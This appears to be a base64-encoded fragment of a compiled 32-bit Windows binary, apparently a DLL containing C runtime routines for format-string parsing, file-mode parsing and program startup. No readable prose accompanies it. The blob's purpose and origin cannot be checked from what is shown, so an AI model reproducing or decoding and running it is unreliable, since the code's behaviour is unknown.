BYPI/+tpV41+GIvP6LUSAACEwHUQg8j/61SLzujqAwAAhMB0C4vP6H/S//+EwHXqg350AIt+cHUWi8voC/7//4P4/3UCC/hQi8voMhIAAIsGg+ABg8gAdBOLdiSF9nQM6Nk7AACJMOibOAAAi8dfXlvDi/9TVovxjV4Ii8vogRIAAITAdQWDyP/rcleNfhiLz+gwEgAAhMB1EIPI/+tdi87omwMAAITAdAuLz+ga0///hMB16oN+XACLflh1H4vL6Jz9//8Pt8C5//8AAGY7wXUDg8//UIvL6MMRAACLBoPgAYPIAHQTi3YkhfZ0DOhLOwAAiTDoDTgAAIvHX15bw4B5LgB0A7ABw4tBECtBCGoAagBQ6AUTAADDgHkwAHQDsAHDi0EQK0EIagDR+GoAUOhgEwAAw4tBQIP4CXdB/ySFSGgGEGoA6CsDAADDagHr9moI6/JqAWoA6CABAADDagFqCuv0agBqCOvuagDr8moAahDr5OmkAAAA6YH///8ywMMLaAYQE2gGEBtoBhAlaAYQK2gGEDFoBhA1aAYQO2gGEBdoBhBAaAYQi0FIg/gJd0H/JIW8aAYQagDo/wIAAMNqAev2agjr8moBagDoEgEAAMNqAWoK6/RqAGoI6+5qAOvyagBqEOvk6WAAAADpJ////zLAw39oBhCHaAYQj2gGEJloBhCfaAYQpWgGEKloBhCvaAYQi2gGELRoBhCL/1aL8ejfAgAAjU4Y6CT9//+D+AR0EYP4CHQEMsBew4vOXukLx///i85e6TPG//+L/1aL8ejMAgAAjU4Y6DX9//+D+AR0EYP4CHQEMsBew4vOXulDx///i85e6WvG//+L/1WL7FFRVovx6HoCAAD/dQyNRf/GRf8A/3UIg+wgi8xQ/3Y0jUYI/3YwUFHorKH//4PEFP92aOgWvf//g8QsgH3/AHUEMsDrFYB+LgB0BLAB6wtqAVJQi87oQREAAF6L5V3CCACL/1WL7FFRVovx6DECAAD/dQyNRf/GRf8A/3UIg+wgi8xQ/3Y8jUYI/3Y4UFHoRqH//4PEFP92UOhhv///g8QsgH3/AHUEMsDrFYB+MAB0BLAB6wtqAVJQi87oUhEAAF6L5V3CCACL/1aL8VeNTgjo8/r//4vQg/r/dQQywOsaD7ZGLFI70HQKjU4I6A0PAADr6YvO6DgAAABfXsOL/1aL8VeNTgjo0/r//w+3wLn//wAAZjvBdQQywOsTZjtGLHQLUI1OCOjyDgAA6+uwAV9ew4v/VYvsU1eL+egwaAAAil0IuQCAAAAPttNmhQxQdQSwAestVo13CIvO6Gj6//8PtlctO8J0F1CLzuiODgAAD77Di85Q6IMOAAAywOsCsAFeX1tdwgQAi/9Wi/GLRihIg+gBdCKD6AF0F4PoAXQEMsBew+gK/f//hMB09f9GdF7DXukP////XunGAAAAi/9Wi/GLRihIg+gBdCKD6AF0F4PoAXQEMsBew+hI/f//hMB09f9GXF7DXukP////XumtAAAAi/9Vi+yDfQgBVovxdQXofQAAAI1OGOjC+v//g+gBdBeD6AF0BDLA6xpqAP91CIvO6ELI///rDGoA/3UIi87oZ8X//15dwgQAi/9Vi+yDfQgBVovxdQXoUgAAAI1OGOi7+v//g+gBdBeD6AF0BDLA6xpqAP91CIvO6GbJ///rDGoA/3UIi87ogcb//15dwgQAi/9W/3FojXEIVuiwyv//WVlQi87oYQ0AALABXsOL/1b/cVCNcQhW6MLK//9ZWQ+3wIvOUOhgDQAAsAFew+iF8///hcB0EGgAIAAAagBQ6LBI//+DxAzDi/9Vi+wz0jPAiUEUi0UIiVEQiFEYiVEgiVEkiVEoiFEsiVEwiUEMXcIEAIv/VYvsi0UIO0EQdQyLRQw7QRR1BLAB6wiLQRjGAAAywF3CCACL/1NWi/GLTggPtgGD+GQPj7QAAAAPhJwAAACD+FN/OA+ELwEAAIP4QQ+EywAAAIP4Q3RFg/hED47mAAAAg/hHD460AAAAg/hJD4XUAAAAx0YoAgAAAOtmg+hYD4SpAAAAg+gDdDeD6AYPhIsAAABIg+gBD4WqAAAAi0YYC0YcagBbdQrHRhgBAAAAiV4ci87oYQoAAIleKOnGAAAAi87oUgoAAP9GCIvOx0YoCAAAAF5b6c0HAADHRigDAAAAjUEBiUYI6Z0AAACD+HB/RXQzg/hnfiWD+GkPhHH///+D+G50DoP4b3U7x0YoBAAAAOvNx0YoCQAAAOvEx0YoBwAAAOu7x0YgCQAAAMdGKAYAAADrq4Poc3Q9SIPoAXQrg+gDdOcz28dGDBYAAACJXhAywGaJXhSIXhaJXhiJXhyJXiCIXiSJXijrH8dGKAUAAADpaf///4vO6JoJAADHRigBAAAA/0YIsAFeW8OL/1aL8YtOCA+3AYP4ZA+PsgAAAA+EmgAAAIP4U384D4QRAQAAg/hBD4TJAAAAg/hDdEWD+EQPjuQAAACD+EcPjrIAAACD+EkPhdIAAADHRjACAAAA62SD6FgPhKcAAACD6AN0NYPoBg+EiQAAAEiD6AEPhagAAACLRiALRiR1CiFGJMdGIAEAAACLzugaCQAAg2YwAOmqAAAAi87oCgkAAINGCAKLzsdGMAgAAABe6WwHAADHRjADAAAAjUECiUYI6YIAAACD+HB/RXQzg/hnfiWD+GkPhHP///+D+G50DoP4b3U7x0YwBAAAAOvNx0YwCQAAAOvEx0YwBwAAAOu7x0YoCQAAAMdGMAYAAADrq4Poc3QhSIPoAXQSg+gDdOdqFovO6Bz9//8ywF7Dx0YwBQAAAOuFi87obggAAMdGMAEAAACDRggCsAFew4tBCGaDOCp1CoPAAsZBGAGJQQjDi/9Vi+xRVovxi1YIigqNQdA8CXcID77Bg8DQ6yGNQZ88GXcID77Bg8Cp6xKNQb88GXcID77Bg8DJ6wODyP+D+Al2BLAB61NTagqNRfwz21BSiV386CGX//+LyIPEDAvKdBWLTfw7Tgh0DYlGGLABiVYciU4I6yKJXhAywGaJXhSIXhaJXhiJXhyJXiCIXiSJXijHRgwWAAAAW16L5V3Di/9Vi+xRVovxV2owX4tOCA+3EWY71w+CnQEAAIP6OnMJi8Irx+mKAQAAvxD/AABmO9cPg2sBAAC/YAYAAGY71w+CcwEAAI1HCmY70HLTv/AGAABmO9cPgl0BAACNRwpmO9Byvb9mCQAAZjvXD4JHAQAAjUcKZjvQcqeNeHZmO9cPgjMBAACNRwpmO9Byk414dmY71w+CHwEAAI1HCmY70A+Ce////414dmY71w+CBwEAAI1HCmY70A+CY////414dmY71w+C7wAAAI1HCmY70A+CS////79mDAAAZjvXD4LVAAAAjUcKZjvQD4Ix////jXh2ZjvXD4K9AAAAjUcKZjvQD4IZ////jXh2ZjvXD4KlAAAAjUcKZjvQD4IB////v1AOAABmO9cPgosAAACNRwpmO9APguf+//+NeHZmO9dyd41HCmY70A+C0/7//4PHUGY713Jjg8BQZjvQD4K//v//v0AQAABmO9dyTY1HCmY70A+Cqf7//7/gFwAAZjvXcjeNRwpmO9APgpP+//+DxzBmO9dyI4PAMGY70HMb6X7+//+4Gv8AAGY70A+CcP7//4PI/4P4/3UtakFYahlfZjvCdwWD+lp2CI1Cn2Y7x3cSjUKfZjvHjULgdgKLwoPAyesDg8j/g/gJdgSwAes3g2X8AI1F/GoKUFHoYJX//4vIg8QMC8p0E4tN/DtOCHQLiUYgiVYkiU4I69BqFovO6CL6//8ywF9ei+Vdw4tBCFYPthCD+moPj8QAAAAPhLEAAACD+kl0UIP6THQ+g/pUdCyD+mgPhfAAAACNUAGAOmh1D4PAAsdBIAEAAACJQQhew8dBIAIAAADpygAAAEDHQSALAAAAiUEIXsNAx0EgCAAAAIlBCF7DjXABihaA+jN1FYB4AjJ1D4PAA4lBCMdBIAkAAABew4D6NnUVgHgCNHUPg8ADx0EgCgAAAIlBCF7DgPpkdBmA+ml0FID6b3QPgPp1dAqA+nh0BYD6WHVciXEI67pAx0EgBQAAAIlBCF7Dg/psdCSD+nR0EoP6enU7QMdBIAYAAACJQQhew0DHQSAHAAAAiUEIXsONUAGAOmx1D4PAAsdBIAQAAACJQQhew8dBIAMAAACJUQhew4tBCFYPtxCD+moPj88AAAAPhLoAAACD+kl0VoP6THRCg/pUdC5qaF471g+F/wAAAI1QAmY5MnUPg8AEx0EoAQAAAIlBCF7Dx0EoAgAAAOnZAAAAg8ACx0EoCwAAAIlBCF7Dg8ACx0EoCAAAAIlBCF7DjXACD7cWg/ozdRZmg3gEMnUPg8AGiUEIx0EoCQAAAF7Dg/o2dRZmg3gENHUPg8AGx0EoCgAAAIlBCF7Dg/pkdBmD+ml0FIP6b3QPg/p1dAqD+nh0BYP6WHVkiXEI67mDwALHQSgFAAAAiUEIXsNqbF471nQog/p0dBSD+np1P4PAAsdBKAYAAACJQQhew4PAAsdBKAcAAACJQQhew41QAmY5MnUPg8AEx0EoBAAAAIlBCF7Dx0EoAwAAAIlRCF7Di/9Wi/HoVF4AAA+2VhS5AIAAAGaFDFB0NotGCIoIhMl1JjPAx0YMKgAAAIlGEGaJRhSIRhaJRhiJRhyJRiCIRiSJRigywOsJQIhOFYlGCLABXsIEAItRCIoCPHd1CI1CAYlBCOsIPEN0BDxTdQTGQSQBw4v/Vovxi0YID7cIg/l3dQiDwAKJRgjrDFGLzui8AgAAhMB0BMZGLAFew4v/VYvsg+wQVovxM8CJdfCNViyJVfSF0nUnx0YMDAAAAIlGKIhGJIlGIIlGHIlGGIhGFmaJRhSJRhAywOnBAAAAV2oIWYv686uLRgiAOF4PlMGITf+EyXQEQIlGCItGCIA4XXUIQIlGCIBONyCLfgiAP110ZlOLRgiKCITJdFiA+S11PTvHdDmKeAGA/110MYpY/zrfdgaKw4rfivj+x4hd+zrfdCaLdfT/dfuLzuhkAQAA/sOIXfs633Xti3Xw6whRi8roTgEAAI1WLP9GCItGCIA4XXWfik3/W4tGCF+AOAB1DjPAx0YMFgAAAOkv////hMl0B4vK6Ezv////RgiwAV6L5V3Di/9Vi+yD7BBWi/FXiXX0jX40i8/ofOn//4XAdRBqDIvO6P/1//8ywOndAAAAU4vP6Nb1//+LRghmgzheD5TDiF3/hNt0BoPAAolGCItGCGpdWWY5CHURg8ACUYvPiUYI6NYAAABqXVmLVgiJVfBmOQp0b4tGCA+3CGaFyXRhg/ktdUI7wnQ+D7dQAmpdW2Y703QyD7dI/ovaZjvLdgaLwYvLi9hDD7fBiUX4ZjvLdB2L8FaLz+iBAAAARmY783Xyi3X06whRi8/obgAAAINGCAKLRgiLVfBqXVlmOQh1lIpd/4tGCGaDOAB1DWoWi87oMfX//zLA6xGE23QHi8/oXe7//4NGCAKwAVtfXovlXcOL/1WL7FYPtnUIi9bB6gMPtgQKgeYHAACAeQVOg874Rg+r8IgECl5dwgQAi/9Vi+xWD7d1COhL6P//i87B6QMDyA+2AYHmBwAAgHkFToPO+EYPq/CIAV5dwgQAi0Egg/gCdQTGQSQAg/gDdAqD+AR0BYP4CHUExkEkAcOLQSiD+AJ1BMZBLACD+AN0CoP4BHQFg/gIdQTGQSwBw4v/VYvsZoN9CEN0IWaDfQhTdBqDeSgLdQSwAesSiwEzyYPgAgvBdAFBisHrAjLAXcIEAIv/VYvsD7ZVCFaL8YvKgeEHAACAeQVJg8n4QTPAweoDQNPgagCEBDJYD5XAXl3CBACL/1WL7FZXD7d9COh25///i/fB7gOB5wcAAIB5BU+Dz/hHM9KLz0JqANPihBQwWF8PlcBeXcIEAIv/VYvsi0UIhcB0EoP4A3QJg/gIdAQzwF3DagjrAmoEWF3Di/9Vi+yLRQiD+Ap3Gf8khZV4BhBqBFhdwzPAQF3DagLr9GoI6/AzwF3Di/99eAYQgngGEId4BhB9eAYQi3gGEIt4BhB9eAYQfXgGEI94BhB9eAYQi3gGEIv/VYvsg0EQ/4tRCIvCg1EU/1aLcQwLxnQMOXEUdx1yBTlREHcWikUIhMB0Dzz/dAuLCQ++wFDoSgAAAF5dwgQAi/9Vi+yDQRD/i1EIi8KDURT/VotxDAvGdAw5cRR3IXIFOVEQdxqLRQhmhcB0Err//wAAZjvCdAiLCVDoJAAAAF5dwgQAi/9Vi+yLQQg7AXQPO0EEdQaDfQj/dARIiUEIXcIEAIv/VYvsi0EIOwF0FjtBBHULuv//AABmOVUIdAaDwP6JQQhdwgQAg3kIAHUT6G0pAADHABYAAADoKyYAADLAw7ABw4M5AHUT6FIpAADHABYAAADoECYAADLAw4N5GAB057ABw4tBCIXAdRPoLykAAMcAFgAAAOjtJQAAMsDDO0EEd+iwAcOL/1WL7FFRU4pdGFaL8Yhd/MZF/QDotFgAAA+207kAgAAAZoUMUHQLjU4I6Pbq//+IRf1qP1hmiUX4i0ZoUIsA/3AEjUX8UI1F+FDo3CgAAItVEIPEEGYPvsuLAl5bZokIi0UUgwIC/wiwAYvlXcIUAIv/VYvsUVNWM9uNRfyDfQz/V/91GIld/HUsi3UQagX/NlDoySoAAIPEEIXAdAyD+BZ0SoP4InU660OLRRSLTfwBDikI6yyLdRSLfRD/Nv83UOiaKgAAg8QQg/gidQmLRQiIGDLA6w2LRfyFwH4EAQcpBrABX15bi+VdwhQAU1NTU1Po+iQAAMyL/1WL7INBbASLQWxWi3D8hfZ1FOgHKAAAxwAWAAAA6MUkAAAywOtKgH0QAHQD/0Fwg8EY6P3q//+D6AF0LYPoAXQfSIPoAXQSg+gEddaLRQiJBotFDIlGBOsVi0UIiQbrDmaLRQhmiQbrBYpFCIgGsAFeXcIMAIv/VYvsg0FUBItBVFaLcPyF9nUU6JAnAADHABYAAADoTiQAADLA60qAfRAAdAP/QViDwRjox+r//4PoAXQtg+gBdB9Ig+gBdBKD6AR11otFCIkGi0UMiUYE6xWLRQiJBusOZotFCGaJBusFikUIiAawAV5dwgwAi/9Vi+z/dSD/dRz/dRj/dRT/dRD/dQz/dQjoN43//4PEHF3Di/9Vi+z/dSD/dRz/dRj/dRT/dRD/dQz/dQjo0o3//4PEHF3Di/9Vi+xRobCDCxBXhcAPhYwAAACLfRCF/w+ElAAAAItVCIXSdRfovyYAAMcAFgAAAOh9IwAAuP///3/rdotNDIXJdOJTVmpBW2paXivRiXX86wNqWl4PtwQKZjvDcg1mO8Z3CIPAIA+38OsCi/APtwFmO8NyDGY7Rfx3BoPAIA+3wIPBAoPvAXQKZoX2dAVmO/B0vw+3yA+3xl4rwVvrE2oA/3UQ/3UM/3UI6AgAAACDxBBfi+Vdw4v/VYvsg+wUU1Yz9lc5dRAPhOIAAACLXQiF23Ua6BAmAADHABYAAADoziIAALj///9/6cMAAACLfQyF/3Tf/3UUjU3s6GhK//+LRfA5sKgAAAB1U4tNECvfakFaalpeiXX86wNqWl4PtwQ7ZjvCcg1mO8Z3CIPAIA+38OsCi/APtwdmO8JyDGY7Rfx3BoPAIA+3wIPHAoPpAXRFZoX2dEBmO/B0v+s5jUXwUA+3A1DoEj8AAA+38I1F8FAPtwdQ6AI/AACDxBAPt8CDbRABjVsCjX8CdApmhfZ0BWY78HTHD7fAD7f2K/CAffgAdAqLTeyDoVADAAD9i8ZfXluL5V3Di/9Vi+xd6T1WAACL/1WL7IPsGFNW/3UcjU3o6JBJ//+LRewz24tIFItFCIlN/IXAdBOLdQyF9nQMiBg5XRB0BTldFHUV6OckAADHABYAAADopSEAAOnIAAAAU1Nq//91EFNR/xU0owcQiUX4hcB1Ev8VNKQHEFDofyQAAFnpoAAAAAPAV1Do5x0AAIv4WYX/D4SEAAAA/3X4V2r//3UQU/91/P8VNKMHEIXAdQ7/FTSkBxBQ6EIkAADrXo0ENlDorh0AAIvwWYX2dEj/dRz/dRj/dRRX/3UMVuiGZwAAg8QYiUX4hcB0K1NT/3UM/3UIav9WU/91/P8VmKMHEIXAdQ//FTSkBxBQ6O4jAABZ6wOLXfhW6B8dAABZV+gYHQAAWV+AffQAdAqLTeiDoVADAAD9XovDW4vlXcOL/1WL7GoAagD/dRT/dRD/dQz/dQjot/7//4PEGF3Di/9Vi+yLRQhWvpABAABXjUj/BSsBAACZ9/5qZIvwi8GZX/f/Xyvwi8GZg+IDA8LB+AKDwO8Dxl5dw4v/VYvsi00Ii8ElAwAAgHkFSIPI/EB1ElZqZIvBXpn3/l6F0nQEsAFdw42BbAcAALmQAQAAmff599oa0o1CAV3Di/9Vi+yD7AxWi3UIhfZ1FuhIIwAAahZeiTDoByAAAIvG6SIBAABXagmDyP+L/lnzq4t9DIX/dRHoICMAAGoWXokw6N8fAADrM4tPBIsHiUX0iU34g/n/fwl8Fz1AV///chBqB1o7ynwafwc9zyZBk3YR6OYiAABqFl6JMIvG6cQAAABTjUX/xkX/AFCNRfRQ6LgAAACLXfRZWWoAiUYUuIBRAQBQ/3X4U+j78AAAiUYcuYBRAQD36bno0wcQK9iLRfgbwoB9/wCJRfh1Bbm00wcQi1YcM8BAOVEEfQZAORSBfPpIiUYQagArFIG4gFEBAFCJVgz/dwT/N+iq8AAAageDwASLffhZmff5agC4EA4AAIlWGFBXU+iM8AAAuRAOAACJRgj36WoAK9hqPBv6V1Poc/AAAINmIACJRgRrwDwr2DPAiR5bX16L5V3Di/9Vi+xRU4tdCLiAM+EBVldqAItzBIs7UFZX6DzwAAC6gDPhAY1IRo1BuolN/PfqUSv4iTsb8olzBOj5/f//v4BRAQD371kpA4sDGVMEi0sEhcl/MnwEhcBzLIt1/LqAM+EBA8KJA4PRAE5WiUsE6P79//9ZhMB0IgE7i0UMg1MEAMYAAesUi3X8Vuji/f//WYTAdAaLTQzGAQFfi8ZeW4vlXcOL/1boySoAAIvwhfZ0IYtGOIXAdSdqJOiRGgAAagCJRjjoTRoAAItGOFlZhcB1Deg4IQAAxwAMAAAAM8Bew4v/VYvsVui3////i/CF9nQT/3UIVui3/f//99hZG8D30Fkjxl5dw4v/VYvsg30IAHUV6PcgAADHABYAAADotR0AAIPI/13D/3UIagD/NdSHCxD/FTijBxBdw1NWi0wkDItUJBCLXCQU98P/////dFAryvfCAwAAAHQXD7YECjoCdUiFwHQ6QoPrAXY09sIDdemNBAol/w8AAD38DwAAd9qLBAo7AnXTg+sEdhSNsP/+/v6DwgT30CPGqYCAgIB00TPAXlvD6wPMzMwbwIPIAV5bw4v/VYvsi0UIhcB1FehLIAAAxwAWAAAA6AkdAABqFlhdw4MgAGoEUOjFPwAAhMB1FOgnIAAAxwAMAAAA6BwgAACLAF3DM8Bdw4v/VYvsXelKGQAAi/9Vi+yD7BAzwFOLXQhWV4198KuNdfBqAllqIKuri/ulpaWh2IcLEIt1DIlDBF/rAgPxZjk+dPkPtwYz0oP4YXQhg/hydBGD+HcPhdsBAADHAwEDAADrEYkTx0MEAQAAAOsJxwMJAQAAiUsEA/GIVf0y7YhV/IhV/rEBiG3/D7cGZoXAD4TdAAAAg/hTf3B0XCvHD4S3AAAAg+gLdEKD6AF0NIPoGHQng+gKdBWD6AQPhXUBAACKbf+E0nUfgwsQ6zSBC4AAAACxAemBAAAAU+hvAQAA63O1AYht/zLJ63ONRfxQU+j4AQAAWetdim3/hNJ16Ak7sgGIVf6KyutUg+hUdECD6A50M4PoAXQig+gLdBGD6AYPhQ8BAABT6PUBAADrJo1F/VBT6JIBAADruo1F/VBT6GQBAADrrlPoPAEAAOsGU+gVAQAAilX+WYrIim3/M8CEyQ+VwI00RoTJD4UZ////6wOKbf+E7XQDg8YCZjk+dPiE7XUUM8BmOQYPhaYAAADGQwgB6a0AAABqA2ggvgcQVuhdYwAAg8QMhcAPhYUAAACDxgbrA4PGAmY5PnT4ZoM+PXVyg8YCZjk+dPhqBWgovgcQVuhR9///g8QMhcB1C4PGCoELAAAEAOtBaghoNL4HEFboMvf//4PEDIXAdQuDxhCBCwAAAgDrImoHaES+BxBW6BP3//+DxAyFwHUYg8YOgQsAAAEA6wODxgJmOT50+OlP////6NkdAADHABYAAADolxoAAF9ei8Nbi+Vdw4v/VYvsi00IiwGoQHQEMsBdw4PIQIkBsAFdw4v/VYvsi00IugAQAACLAYXCdAQywF3DC8KJAbABXcOL/1WL7ItNCIsBqQDAAAB0BDLAXcMNAIAAAIkBsAFdw4v/VYvsi0UMgDgAdAQywF3Di00IxgABsAGBSQQACAAAXcOL/1WL7ItFDIA4AHQEMsBdw4tNCMYAAbABgWEE//f//13Di/9Vi+yLRQyAOAB0BDLAXcOLVQjGAAGLAqgCdfCLSgSD4P6DyAKD4fyDyQSJAolKBLABXcOL/1WL7ItNCIsBqQDAAAB0BDLAXcMNAEAAAIkBsAFdw4v/VYvsUVFTV2owakDo7BYAAIv4M9uJffhZWYX/dQSL++tIjYcADAAAO/h0PlaNdyCL+FNooA8AAI1G4FDo3zoAAINO+P+JHo12MIle1I1G4MdG2AAACgrGRtwKgGbd+Ihe3jvHdcyLffheU+hoFQAAWYvHX1uL5V3Di/9Vi+xWi3UIhfZ0JVONngAMAABXi/4783QOV/8V3KIHEIPHMDv7dfJW6DAVAABZX1teXcNqFGgADgsQ6IMc//+BfQgAIAAAG8D32HUX6AUcAABqCV6JMOjEGAAAi8bophz//8Mz9ol15GoH6NU9AABZiXX8i/6huIULEIl94DlFCHwfOTS9uIMLEHUx6PT+//+JBL24gwsQhcB1FGoMXol15MdF/P7////oFQAAAOusobiFCxCDwECjuIULEEfru4t15GoH6MM9AABZw4v/VYvsi0UIi8iD4D/B+QZrwDADBI24gwsQUP8VgKMHEF3Di/9Vi+xRU1aLdQiF9nhpOzW4hQsQc2GLxoveg+A/wfsGa8gwiwSduIMLEIlN/IN8ARj/dUNX6HlhAACLfQyD+AF1IoPuAHQUg+4BdAqD7gF1E1dq9OsIV2r16wNXavb/FSCiBxCLBJ24gwsQi038iXwBGDPAX+sW6OsaAADHAAkAAADozRoAAIMgAIPI/15bi+Vdw4v/VYvsi0UIi8iD4D/B+QZrwDADBI24gwsQUP8VaKMHEF3Dahxo4A0LEOgRG///agfojDwAAFmDz/+JfeQz24ld/Ild1IH7gAAAAH1NiwSduIMLEIlF2IXAdVPoov3//4kEnbiDCxCFwHQvgwW4hQsQQIv7wecGV+jM/v//WYvXwfoGi8eD4D9ryDCLBJW4gwsQxkQIKAGJfeTHRfz+////6IYAAACLx+jZGv//w42IAAwAAIlN4IvwajBYiXXcO/F0YPZGKAF1Glb/FYCjBxD2RigBdBFW/xVoowcQi03gajBYA/Dr1St12IvGmWowWff5weMGjTQDi9bB+gaLzoPhP2vJMIsElbiDCxDGRAEoAYsElbiDCxCJfAEYi/7pdP///0PpGf///4t95GoH6Nc7AABZw4v/VYvsU1aLdQhXhfZ4Zzs1uIULEHNfi8aL/oPgP8H/BmvYMIsEvbiDCxD2RAMoAXREg3wDGP90PeitXwAAg/gBdSMzwCvwdBSD7gF0CoPuAXUTUGr06whQavXrA1Bq9v8VIKIHEIsEvbiDCxCDTAMY/zPA6xboJBkAAMcACQAAAOgGGQAAgyAAg8j/X15bXcOL/1WL7ItNCIP5/nUV6OkYAACDIADo9BgAAMcACQAAAOtDhcl4JzsNuIULEHMfi8GD4T/B+AZryTCLBIW4gwsQ9kQIKAF0BotECBhdw+ipGAAAgyAA6LQYAADHAAkAAADochUAAIPI/13Di/9Vi+y4//8AAIPsGGY5RQgPhLQAAAD/dQyNTejoAT3//4tF7IuAqAAAAIXAdSGLTQiNQZ9mg/gZdw1mg+kgD7fBiUX4ZovID7fBiUX46x+5AAEAAGY5TQhzMmoC/3UI6BpIAABZWYXAdQlmi0UID7fA6xGLRewPt00Ii4CYAAAAD7YECA+3wIlF+OsiagGNTfxRagGNTQhRaAACAABQ6FJeAACDxBiFwHUMZotFCA+3wIlF+OsEZotF/IB99AB0CotN6IOhUAMAAP2L5V3Di/9Vi+xqAP91COgi////WVldw4v/VYvsUYtFCIXAdQWLRRCLAA+3CDPSU1ZXi30MZoXJdDAPtx+L12aF23QSi/NmO/F0C4PCAg+3MmaF9nXwM8lmOQp0C4PAAg+3CGaFyXXVM9KL8GY5EHQ8D7cfi89mhdt0Gw+3EIlV/IvTZjtV/HQLg8ECD7cRZoXSde8z0mY5EXUKg8ACZjkQddHrCDPJZokIg8ACi00QX4kBK8b32BvAI8ZeW4vlXcOL/1WL7ItFEIXAdRToCBcAAMcAFgAAAOjGEwAAM8Bdw4N9DAB05oN9CAB1BYM4AHTbUP91DP91COga////g8QMXcP/FRiiBxCjVIILEP8VFKIHEKNYggsQsAHDuGCCCxDDi/9Vi+xRUaEEUAsQM8WJRfyLRQxTVot1CCvGg8ADVzP/wegCOXUMG9v30yPYdByLBolF+IXAdAuLyP8VgKcHEP9V+IPGBEc7+3Xki038X14zzVvoBxH//4vlXcOL/1WL7FGhBFALEDPFiUX8Vot1CFfrF4s+hf90DovP/xWApwcQ/9eFwHUKg8YEO3UMdeQzwItN/F8zzV7owhD//4vlXcOL/1WL7Lhjc23gOUUIdAQzwF3D/3UMUOgEAAAAWVldw4v/VYvsUVGhBFALEDPFiUX8VuhFHwAAi/CF9g+EQwEAAIsWi8pTM9tXjYKQAAAAO9B0Dot9CDk5dAmDwQw7yHX1i8uFyXQHi3kIhf91BzPA6Q0BAACD/wV1CzPAiVkIQOn9AAAAg/8BD4TxAAAAi0YEiUX4i0UMiUYEg3kECA+FxAAAAI1CJI1QbOsGiVgIg8AMO8J19oteCLiRAADAOQF3T3REgTmNAADAdDOBOY4AAMB0IoE5jwAAwHQRgTmQAADAdW/HRgiBAAAA62bHRgiGAAAA613HRgiDAAAA61THRgiCAAAA60vHRgiEAAAA60KBOZIAAMB0M4E5kwAAwHQigTm0AgDAdBGBObUCAMB1IsdGCI0AAADrGcdGCI4AAADrEMdGCIUAAADrB8dGCIoAAAD/dgiLz2oI/xWApwcQ/9dZiV4I6xD/cQSJWQiLz/8VgKcHEP/Xi0X4WYlGBIPI/19bi038M81e6C8P//+L5V3Di/9Vi+wzwIF9CGNzbeAPlMBdw2oMaCAOCxDoYeMAAIt1EIX2dRLoQgEAAITAdAn/dQjoegEAAFlqAugzNgAAWYNl/ACAPWyCCxAAD4WZAAAAM8BAuWSCCxCHAcdF/AEAAACLfQyF/3U8ix0EUAsQi9OD4h9qIFkryjPA08gzw4sNaIILEDvIdBUz2TPAUFBQi8rTy4vL/xWApwcQ/9NoiIMLEOsKg/8BdQtolIMLEOjgCgAAWYNl/ACF/3URaLSnBxBopKcHEOgA/f//WVlovKcHEGi4pwcQ6O/8//9ZWYX2dQfGBWyCCxABx0X8/v///+gnAAAAhfZ1LP91COgqAAAAi0XsiwD/MOjy/v//g8QEw4tl6Og1DAAAi3UQagLoljUAAFnD6J7iAADDi/9Vi+zoYDMAAITAdCBkoTAAAACLQGjB6AioAXUQ/3UI/xUApAcQUP8VRKIHEP91COhPAAAAWf91CP8VEKIHEMxqAP8VoKIHEIvIhcl1AzLAw7hNWgAAZjkBdfOLQTwDwYE4UEUAAHXmuQsBAABmOUgYdduDeHQOdtWDuOgAAAAAD5XAw4v/VYvsUVGhBFALEDPFiUX8g2X4AI1F+FBo+L4HEGoA/xUMogcQhcB0I1ZoEL8HEP91+P8VqKIHEIvwhfZ0Df91CIvO/xWApwcQ/9Zeg334AHQJ/3X4/xWkogcQi038M83oFA3//4vlXcOL/1WL7ItFCKNoggsQXcNqAWoAagDo3v3//4PEDMOL/1WL7GoAagL/dQjoyf3//4PEDF3DoWSCCxDDi/9Vi+yD7AyDfQgCVnQcg30IAXQW6BUSAABqFl6JMOjUDgAAi8bp9AAAAFNX6BViAABoBAEAAL5wggsQM/9WV/8VCKIHEIsdVIILEIk1XIILEIXbdAWAOwB1AovejUX0iX38UI1F/Il99FBXV1PosQAAAGoB/3X0/3X86BkCAACL8IPEIIX2dQzooREAAGoMX4k46zGNRfRQjUX8UItF/I0EhlBWU+h5AAAAg8QUg30IAXUWi0X8SKNIggsQi8aL96NMggsQi9/rSo1F+Il9+FBW6ItcAACL2FlZhdt0BYtF+Osmi1X4i8+Lwjk6dAiNQARBOTh1+IvHiQ1IggsQiUX4i9+JFUyCCxBQ6CYKAABZiX34VugcCgAAWV+Lw1tei+Vdw4v/VYvsUYtFFFOLXRhWi3UIV4MjAIt9EMcAAQAAAItFDIXAdAiJOIPABIlFDDLJiE3/gD4idQ2EybAiD5TBRohN/+s1/wOF/3QFigaIB0eKBkaIRf4PvsBQ6M9jAABZhcB0DP8Dhf90BYoGiAdHRopF/oTAdBmKTf+EyXW1PCB0BDwJda2F/3QHxkf/AOsBTsZF/wCAPgAPhMIAAACKBjwgdAQ8CXUDRuvzgD4AD4SsAAAAi00Mhcl0CIk5g8EEiU0Mi0UU/wAz0kIzwOsCRkCAPlx0+YA+InUxqAF1HopN/4TJdA+NTgGAOSJ1BIvx6wuKTf8z0oTJD5RF/9Ho6wtIhf90BMYHXEf/A4XAdfGKBoTAdDuAff8AdQg8IHQxPAl0LYXSdCOF/3QDiAdHD74GUOj2YgAAWYXAdAxG/wOF/3QFigaIB0f/A0bpd////4X/dATGBwBH/wPpNf///4tNDF9eW4XJdAODIQCLRRT/AIvlXcOL/1WL7FaLdQiB/v///z9yBDPA6z1Xg8//i00MM9KLx/d1EDvIcw0Pr00QweYCK/47+XcEM8DrGY0EMWoBUOh/CQAAagCL8OhRCAAAg8QMi8ZfXl3Di/9Vi+xd6Qf9//+heIMLEIXAdSU5BXyDCxB1AzPAw+gWAAAAhcB19OhmAQAA99gbwPfQIwV4gwsQw4M9eIMLEAB0AzPAw1ZX6AxfAADoYGIAAIvwhfZ1BYPP/+sqVugwAAAAWYXAdQWDz//rElC5eIMLEKOEgwsQ6JIJAAAz/2oA6MIHAABZVui7BwAAWYvHX17Di/9Vi+xRUVNWV4t9CDPSi/eKB+sYPD10AUKLzo1ZAYoBQYTAdfkry0YD8YoGhMB15I1CAWoEUOieCAAAi9hZWYXbdG2JXfzrUovPjVEBigFBhMB1+SvKgD89jUEBiUX4dDdqAVDocAgAAIvwWVmF9nQwV/91+FbowQcAAIPEDIXAdUGLRfxqAIkwg8AEiUX86CAHAACLRfhZA/iAPwB1qesRU+gpAAAAagDoBgcAAFlZM9tqAOj7BgAAWV9ei8Nbi+VdwzPAUFBQUFDotwoAAMyL/1WL7FaLdQiF9nQfiwZXi/7rDFDoygYAAI